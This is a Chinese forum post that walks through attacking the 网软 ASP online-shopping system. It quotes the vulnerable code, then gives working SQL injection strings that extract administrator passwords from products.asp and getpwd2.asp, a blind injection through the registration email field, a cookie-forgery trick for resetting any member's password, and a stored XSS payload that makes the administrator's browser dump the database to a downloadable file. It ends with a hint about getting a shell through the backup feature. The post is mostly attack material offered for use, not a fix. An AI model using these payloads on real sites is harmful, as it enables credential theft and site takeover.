对网软网上购物系统的一点点分析
作者:ninty
来源:IXPUB技术社区
很糟糕的一套程序,我ASP不太熟悉,哪里写错了还请各位大牛指点!
注入:
共发现3个可注入的地方:
Products.asp 发生在浏览产品的时候
代码如下:
<%set rss=server.CreateObject("adodb.recordset")
rss.open "select * from products where bookid="&request.querystring("id"),conn,1,3 //这里,取得id直接拼到了SQL语句里,注入产生了。!
if rss.eof or bof then
response.write "<script>alert('对不起,没有此商品!');history.go(-1);</script>"
response.end
end if
dim des
if not rss("metad")="" then
des=rss("metad")
end if
if not rss("metak")="" then
keya=rss("metak")
end if
%>
<title><%=webname%>--商品详细信息</title>
<meta name="description" content="<%=des%>">
<meta name="keywords" content="<%=keya%>">
<link href="skin/skin<%=skinid%>/css.css" rel="stylesheet" type="text/css">
</head>
<script language="JavaScript">
<!--
function OpenNews()
{
window.name = "news"
win = window.open('','newswin','left=110,width=600,height=420,scrollbars=1');
}
//-->
</script>
<body leftmargin="0" topmargin="0" marginwidth="0" marginheight="0" >
<%if IsNumeric(request.QueryString("id"))=False then
response.write("<script>alert(""非法访问!"");location.href=""index.asp"";</script>")
response.end
end if
这里有一个有趣的问题哈,在查完库以后,才对ID进行检测,不知道这个程序员是怎么想的!
构造注入语句如下:
http://localhost/shangwu/products.asp?id=353 union select '1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1',admin,password,'1','1' from admin
我用的FF,因为后面的javascript的干扰有可能会导致看不到结果。用FF把JS禁用掉 。提交以后,查看网页源代码,得到管理员的账号与密码:
Getpwd2.asp 发生在找回密码的时候,代码如下:
<%
username=request.form("username") //直接从表单里拿到username的值
set rs=Server.CreateObject("Adodb.Recordset")
sql="select * from [YX_User] where name='"&username&"' " //放入SQL语句 执行 ,注入发生了
rs.open sql,conn,1,1
If rs.eof Then
%>
。。。省略。。。
<%if rs("Clue")<>"" then%>
<tr>
<td width="100%" height="22">
问 题:
<font color="red"><%=rs("Clue")%></font> //这里 输出Clue列的值,可以利用这里直接输出一个我们想要的列的值
在找回密码的框里输入:
admin' union select
'1','1','1',password,'1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1'
,'1','1','1','1','1','1','1','1' from admin where ''='
下一步,直接拿到了管理员密码:
3.Register.asp 发生在注册用户的时候
set rs=server.CreateObject("adodb.recordset")
rs.open "select * from [YX_User] where Mail='"&trim(request("useremail"))&"' or Name='"&trim(request("username"))&"'",conn,1,1 //直接拿到了useremail和username,就加到了SQL里。
if rs.recordcount>0 then //如果查询出来的记录数大于0
call usererr() //调用usererr()
rs.close
else
其中usererr()的内容是
sub usererr()
response.write "<table width=100% align=center border=0 cellspacing=0 cellpadding=0 bordercolor=#CCCCCC><tr><td bordercolor=#FFFFFF bgcolor=#FFFFFF align=center>"
response.write "<table width=450 border=0 align=center cellpadding=2 cellspacing=0><tr><td height=260>"
response.write "<p>· <font color=red>用户注册失败!</font></p><p>· 您输入的用户名或e-mail地址已存在,请返回重新输入!</p><p>· <a href=javascript:history.go(-1)>返回上一页</a></p> </td></tr></table></td></tr></table>"
end sub
我们可以在useremail里做手脚。输入一个不存在的用户名与一个不存在的email,然后在email里再加上我们的注入语句,如果提示用户名或者EMAIL已存在,就说明我们附加的SQL语句是成立的!
如图:
EMAIL那里输入的是:[email protected] ' or exists (select * from admin) or ''<>'
结果:因为存在admin表,如果把admin改成aa,提交以后看到的就是空白页
更改任意用户密码:
发生在修改会员密码的页面,
看处理页面是如何处理的:
action=request.QueryString("action")
username=request.cookies("Cnhww")("username") //username是从Cookie里取到的
select case action
。。。。省略 。。。。。
case "savepass"
set rs=server.CreateObject("adodb.recordset")
rs.open "select * from [YX_User] where name='"&username&"'",conn,1,3
if trim(request("userpassword"))<>"" then
rs("password")=md5(trim(request("userpassword"))) //如果userpassword不为空,就进行修改
end if
rs.update
rs.close
set rs=nothing
response.Write "<script language=javascript>alert('密码更改成功!');window.location.href='"&request.servervariables("http_referer")&"';</script>"
response.End
。。。。省略。。。。
end select
我们可以伪造Cookie来修改任何会员的密码。!
先用我们注册好的用户进入会员中心,点修改密码,打开WSE抓数据包。抓到的内容:
把username=ninty 改成username=admin,这里我们修改admin这个用户的密码。Usernamepassword=123456&userpassword2=123456,这样就把它的密码改成了123456,
这个admin只是一个普通用户,并不是后台的管理员。管理员信息没保存在这个表里。
保存后用NC提交。
到前台用123456登陆。成功!
跨站
问题发生在会员留言那里:mymsg_hand1.asp
sql="select * from sms"
set rs=server.createobject("adodb.recordset")
rs.open sql,conn,1,3
rs.addnew
rs("name")="admin"
neirong=request.form("neirong") ///入库的时候没有过滤
neirong=replace(neirong,"=======","<font color=darkgray>======")
rs("neirong")=neirong
rs("riqi")=now()
rs("fname")=request.cookies("cnhww")("username")
rs.update
rs.close
set rs=nothing
response.write "<script language='javascript'>"
response.write "alert('操作成功,已向管理员发送一条站内消息!');"
response.write "location.href='user.asp?action=famess';"
response.write "</script>"
response.end
conn.close
set conn=nothing
我们再看出库的时候有没有过滤呢?
Hand1.asp:
set rs=Server.CreateObject("ADODB.recordset")
sql="select * from sms where (name='管理员' or name='admin') and zuti='0' order by riqi desc"
rs.open sql,conn,1,3
if rs.eof and rs.bof then
response.write "<tr><td>收件箱中没有消息。</td></tr>"
else
......中间省略............
do while not rs.eof and pages>0
neirong=rs("neirong")
riqi=rs("riqi")
isnew=rs("isnew")
fname=rs("fname")
id=rs("id")
if pages<10 then response.write "<tr><td height=15></td></tr>"
%>
......中间省略............
<hr color=#e7e7e7><BR>
<%=replace(neirong,vbCRLF,"<BR>")%><br>
</td></tr>
在输入的时候只把回车换成了<br>.我们只要在写跨站代码的时候别加回车就行了!
在留言那里写上:
<script>var op = window.open('backdata.asp');setTimeout("back()",2000);function back() {var form=op.document.forms[0];form.DBpath.value="../bbs/data/#wrtxcnshop.asp";form.bkDBname.value="test.mdb";form.submit();</script>
这样在管理员查看留言的时候就会自动打开数据库备份页进行数据库备份,备份后会在databackup目录下生成一个test.mdb
别的漏洞还有很多 有兴趣的朋友自己再看看代码吧...
拿SHELL的话冲进后台上传个图片备份吧。
强人啊